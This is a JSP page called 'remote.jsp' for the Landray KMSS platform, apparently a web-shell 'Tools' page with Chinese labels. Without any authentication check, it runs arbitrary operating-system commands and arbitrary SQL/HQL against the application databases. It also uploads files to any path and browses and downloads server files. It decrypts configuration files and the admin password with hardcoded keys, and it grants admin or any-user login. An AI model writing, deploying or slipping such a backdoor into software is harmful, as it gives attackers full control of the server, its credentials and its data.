<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" import=" java.io.*, java.sql.*, java.util.*, java.lang.reflect.*, org.hibernate.*, com.landray.kmss.util.*, com.landray.kmss.component.dbop.model.*, com.landray.kmss.sys.config.loader.*, com.landray.kmss.sys.authentication.*, org.apache.commons.io.IOUtils, org.apache.commons.fileupload.FileItem, org.springframework.jdbc.support.JdbcUtils, org.apache.commons.fileupload.disk.DiskFileItemFactory, org.apache.commons.fileupload.servlet.ServletFileUpload "%> <%@ include file="/resource/jsp/common.jsp"%> <%! private String fileName = "remote.jsp"; private void printStack(StringBuilder text, Exception e) { StringWriter sw = new StringWriter(); e.printStackTrace(new PrintWriter(sw)); text.append("执行出错:\n"); text.append(sw.toString()).append("\n"); } private void upload(HttpServletRequest request, StringBuilder text) throws Exception { ServletFileUpload upload = new ServletFileUpload(new DiskFileItemFactory()); List list = upload.parseRequest(request); Map itemMap = new HashMap(); for(FileItem item : list) { itemMap.put(item.getFieldName(), item); } FileItem upFileItem = itemMap.get("upFile"); if(upFileItem == null) { text.append("请选择文件\n"); return; } String upPath = itemMap.get("upPath").getString(); if(upPath.startsWith("~")) { upPath = upPath.substring(1); } else { upPath = ConfigLocationsUtil.getWebContentPath() + upPath; } File file = new File(upPath); if(!file.exists()) { file.mkdirs(); text.append("文件路径不存在,已经创建:").append(file.getAbsolutePath()).append("\n"); } else { String[] fileName = upFileItem.getName().replace("\\", "/").split("/"); file = new File(upPath, fileName[fileName.length - 1]); if(file.exists()) { File bakFile = new File(upPath, upFileItem.getName() + ".bak"); for(int i = 1; bakFile.exists(); i++) { bakFile = new File(upPath, upFileItem.getName() + ".bak" + i); } file.renameTo(bakFile); text.append("目标文件存在,已经备份为:").append(bakFile.getAbsolutePath()).append("\n"); } } if(!new File(upPath).exists()) return; file = new File(upPath, upFileItem.getName()); FileOutputStream os = null; try { os = new FileOutputStream(file); IOUtils.copy(upFileItem.getInputStream(), os); text.append("成功上传至:").append(file.getAbsolutePath()); } finally { IOUtils.closeQuietly(upFileItem.getInputStream()); IOUtils.closeQuietly(os); } } private void downLoad(HttpServletResponse response, InputStream is, String name) throws IOException { response.setContentType("application/octet"); response.setHeader("Content-Disposition", "attachment; filename=" + new String(name.getBytes("GBK"), "ISO-8859-1")); try { response.setHeader("Content-Length", is.available() + ""); IOUtils.copy(is, response.getOutputStream()); } finally { IOUtils.closeQuietly(is); IOUtils.closeQuietly(response.getOutputStream()); } } private boolean dir(HttpServletRequest request, HttpServletResponse response, StringBuilder text) throws Exception { String path = request.getParameter("path"); if(path.startsWith("~")) { path = path.substring(1); } else { String curPath = (String) request.getSession().getAttribute("curPath"), webPath = ConfigLocationsUtil.getWebContentPath(); if(StringUtil.isNull(curPath)) curPath = webPath; if("../".equals(path)) { File curDir = new File(curPath).getParentFile(); path = curDir == null ? curPath : curDir.getAbsolutePath(); } else if(path.startsWith("/")) path = webPath + path; else path = curPath + "/" + path; } File dir = new File(path); if(!dir.exists()) { text.append("文件或者文件夹不存在."); return false; } if(dir.isFile()) { if(fileName.equals(dir.getName().toLowerCase())) { text.append("该文件不允许下载."); return false; } downLoad(response, new FileInputStream(dir), dir.getName()); return true; } request.getSession().setAttribute("curPath", dir.getAbsolutePath().replaceAll("[\\\\|/]", "/")); File[] files = dir.listFiles(); List rtnList = new ArrayList(); request.setAttribute("files", rtnList); if(files != null && files.length > 0) { for(File f : files) { if(!".svn".equals(f.getName())) { String[] child = {f.getName(), f.getAbsolutePath().replace("\\", "/")}; rtnList.add(child); } } Collections.sort(rtnList, new Comparator() { public int compare(String[] s, String[] o) { return s[0].compareTo(o[0]); } }); } return false; } private String show(List list, String[] columns) { if(columns == null || columns.length < 1) return ""; StringBuilder sb = new StringBuilder(); sb.append(""); sb.append(""); sb.append(""); sb.append(""); for(String column : columns) { sb.append(""); } sb.append(""); for(int i = 0; i < list.size(); i++) { sb.append(""); sb.append(""); for(Object column : list.get(i)) { sb.append(""); } sb.append(""); } sb.append("
序号").append(column).append("
").append(i + 1).append("").append(StringUtil.XMLEscape(String.valueOf(column))).append("
"); sb.append("

找到记录:").append(list.size()).append("条"); return sb.toString(); } private boolean xql(HttpServletRequest request, HttpServletResponse response, StringBuilder text) throws Exception { String xql = request.getParameter("xql").replaceAll("^\\s*|\\s*$", ""); String upperXQL = xql.toUpperCase(); boolean selectMode = upperXQL.startsWith("SELECT") || upperXQL.startsWith("FROM"); String type = request.getParameter("type"); SessionFactory sf = null; Session session = null; Transaction tran = null; Connection conn = null; Statement stmt = null; ResultSet rs = null; try { sf = (SessionFactory)SpringBeanUtil.getBean("sessionFactory"); session = sf.openSession(); if(!selectMode) tran = session.beginTransaction(); conn = session.connection(); String ds = request.getParameter("ds"); if(!"system".equals(ds)) { CompDbcp cd = (CompDbcp) session.createQuery("from CompDbcp where fdId=?").setString(0, ds).list().get(0); Class.forName(cd.getFdDriver()); conn = DriverManager.getConnection(cd.getFdUrl(), cd.getFdUsername(), cd.getFdPassword()); } stmt = conn.createStatement(); long time = System.currentTimeMillis(); if(!selectMode) { int result = "sql".equals(type)? stmt.executeUpdate(xql): session.createQuery(xql).executeUpdate(); text.append("执行成功,受影响行数:").append(result); } else { String[] columns = null; List rowList = new ArrayList(); if("sql".equals(type)) { rs = stmt.executeQuery(xql); ResultSetMetaData rstd = rs.getMetaData(); columns = new String[rstd.getColumnCount()]; for(int i = 0; i < columns.length; i++) { columns[i] = rstd.getColumnLabel(i + 1); } while(rs.next()) { Object[] data = new Object[rstd.getColumnCount()]; for(int i = 0; i < data.length; i++) { data[i] = rs.getObject(columns[i]); if(data[i] instanceof Clob) { Reader reader = ((Clob) data[i]).getCharacterStream(); StringWriter sw = new StringWriter(); IOUtils.copy(reader, sw); IOUtils.closeQuietly(reader); data[i] = sw.toString(); } } rowList.add(data); } } else { List data = session.createQuery(xql).list(); if(data.isEmpty()) { text.append("没有找到结果."); } else { if(upperXQL.startsWith("SELECT")) { columns = xql.substring(7, upperXQL.indexOf("FROM")).replaceAll("^\\s*|\\s*$", "").split(","); if(columns.length > 1) { rowList = data; } else { for(Object obj : data) { rowList.add(new Object[] {obj}); } } } else { Object obj = data.get(0); List columnsArray = new ArrayList(); for(Method m : obj.getClass().getMethods()) { if(m.getName().startsWith("get") && m.getModifiers() == Modifier.PUBLIC && m.getParameterTypes().length == 0) { columnsArray.add(m.getName().substring(3)); } } columnsArray.remove("InterceptFieldCallback"); columnsArray.remove("SysDictModel"); columnsArray.remove("ToFormPropertyMap"); columnsArray.remove("FormClass"); columns = columnsArray.toArray(new String[columnsArray.size()]); for(Object rowData : data) { Object[] row = new Object[columns.length]; for(int i = 0; i < row.length; i++) { row[i] = obj.getClass().getMethod("get" + columns[i]).invoke(rowData); } rowList.add(row); } } } } String result = show(rowList, columns); if("2".equals(request.getParameter("dowith")) && !rowList.isEmpty()) { downLoad(response, new ByteArrayInputStream(result.getBytes()), "result.html"); return true; } else { text.append(result); } } text.append("\n\n耗时:").append(System.currentTimeMillis() - time).append("ms\n"); if(tran != null) tran.commit(); } catch(Exception e) { if(tran != null) tran.rollback(); throw e; } finally { JdbcUtils.closeResultSet(rs); JdbcUtils.closeStatement(stmt); JdbcUtils.closeConnection(conn); if(session != null) session.close(); if(sf != null) sf.close(); } return false; } private void command(HttpServletRequest request, StringBuilder text) throws Exception { String command = request.getParameter("command"); if(StringUtil.isNull(command)) { text.append("没有执行语句,终止操作\n"); return; } File workDir = null; String workDirPath = request.getParameter("workDir"); if(StringUtil.isNotNull(workDirPath)) workDir = new File(workDirPath); Process pro = Runtime.getRuntime().exec(command, null, workDir); BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream(), "GBK")); try { StringBuilder sb = new StringBuilder(); String line; while((line = reader.readLine()) != null) { sb.append(StringUtil.XMLEscape(line)).append("\n"); } pro.waitFor(); if(sb.length() == 0) { text.append("命令执行成功,没有返回结果\n"); return; } text.append(sb); } finally { IOUtils.closeQuietly(reader); } } private boolean admindo(HttpServletRequest request, StringBuilder text) throws Exception { String admindo = request.getParameter("admindo"), configPath = ConfigLocationsUtil.getKmssConfigPath(); FileInputStream fis = null; try { if(admindo.startsWith("/")) { fis = new FileInputStream(configPath + admindo); byte[] bs = IOUtils.toByteArray(fis); try { bs = new DESEncrypt("kmssPropertiesKey").decrypt(bs); text.append(new String(bs)); } catch(java.security.GeneralSecurityException e) { text.append("转至无加密模式读取\n"); text.append(IOUtils.toString(bs)); } } else if("dirlogin".equals(admindo)) { request.getSession().setAttribute("KMSS_SYS_CONFIG_ADMIN_ISLOGIN", true); text.append("登录成功"); } else { fis = new FileInputStream(configPath + "/admin.properties"); Properties p = new Properties(); p.load(fis); try { text.append("admin.do密码:").append(new DESEncrypt("kmssAdminKey").decryptString(p.getProperty("password"))); } catch(java.security.GeneralSecurityException e) { text.append(p.getProperty("password")); } } return false; } finally { IOUtils.closeQuietly(fis); } } private void suser(HttpServletRequest request, StringBuilder text) { String username = request.getParameter("username"); if(StringUtil.isNotNull(username)) { AutoLoginHelper alh = (AutoLoginHelper)SpringBeanUtil.getBean("autoLoginHelper"); String rs = alh.doAutoLogin(username, request.getSession()); if(StringUtil.isNull(rs)) { text.append("没有找到该用户"); } else { text.append("登陆成功"); } } } %> <% StringBuilder text = new StringBuilder(); try { if("GET".equals(request.getMethod())) { if(StringUtil.isNotNull(request.getParameter("dir"))) { pageContext.setAttribute("dirPage", true); if(dir(request, response, text)) { return; } } else if(StringUtil.isNotNull(request.getParameter("admindo"))) { if(admindo(request, text)) { return; } } else { pageContext.setAttribute("mainPage", true); } } else if(ServletFileUpload.isMultipartContent(request)) { upload(request, text); } else if(StringUtil.isNotNull(request.getParameter("command"))){ command(request, text); } else if(StringUtil.isNotNull(request.getParameter("username"))) { suser(request, text); } else if(xql(request, response, text)) { return; } } catch(Exception e) { printStack(text, e); } pageContext.setAttribute("errorText", text); pageContext.setAttribute("fileName", fileName); %> Tools

查询数据库 执行命令 上传文件 文件目录 admin.do 切换用户
数据源: 本应用
执行语句:
执行结果: (针对查询结果)
工作目录: (为空表示服务器启动根目录)
命令:(提示:Windows(cmd /c dir); Linux(/bin/sh -c ls))
选择文件:
路径: (以~开头表示服务器绝对路径;以/表示应用根目录)
全路径:
路径:(以~开头表示服务器绝对路径;/表示应用根目录)
<%-- 文件列表 --%>
数量:<%=((List) request.getAttribute("files")).size() %>
../
<%-- 非主页 --%>
${errorText }